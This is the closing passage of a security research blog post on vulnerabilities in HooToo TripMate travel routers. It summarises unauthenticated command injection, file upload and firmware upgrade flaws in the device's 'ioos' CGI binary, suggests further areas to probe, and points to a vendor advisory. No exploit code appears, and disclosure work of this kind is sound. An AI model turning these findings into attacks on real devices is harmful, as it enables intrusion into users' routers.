o   HooToo TripMate Elite U HT-TM06 (firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048)

Once again, bear in mind that not all models listed above are necessarily vulnerable. I could only confirm that their
ioos CGI binary shipped with them was vulnerable. If anyone has one of those models and would like to confirm that it is vulnerable, feel free to ping me on twitter @depierre_.


What Then?


Overall, although the HT-TM05 is a cute device, it is quite broken and vulnerable. In addition, the vulnerabilities we identified on HT-TM05 most likely affect the whole TripMate series from HooToo. We found multiple unauthenticated OS command injections. We found that we can upload arbitrary files unauthenticated. And finally, we can upgrade the firmware unauthenticated.

Is there more to find? I believe so – yes.

First, though I only focused on the
ioos binary, it would be interesting to look at the other services exposed by the HT-TM05.

Second, while I found additional memory corruption issues, I mostly focused on finding easy to exploit vulnerabilities. I am convinced that fuzzing
ioos would uncover additional memory corruptions.

Third, I only looked at the attack surface pre-authentication for vulnerabilities that would give me remote code execution. I did not look at the functions that required admin privileges. If there are vulnerabilities there, they could most likely be exploited in combination with cross-request forgery (I did not see any anti-CSRF mechanism). I also did not look at the authentication mechanism itself. I would not be surprised if someone breaks it.

Finally, it is likely that more functions are available from one model to another. Therefore, it is probable to find additional vulnerabilities in some specific models from the TripMate series.

That’s it for now. I hope you enjoyed the ride! If you travel often like I do, I would strongly recommend traveling with some embedded devices like a router. It can be a lot of fun!



The IOActive Advisory: HooToo Advisory can be found here.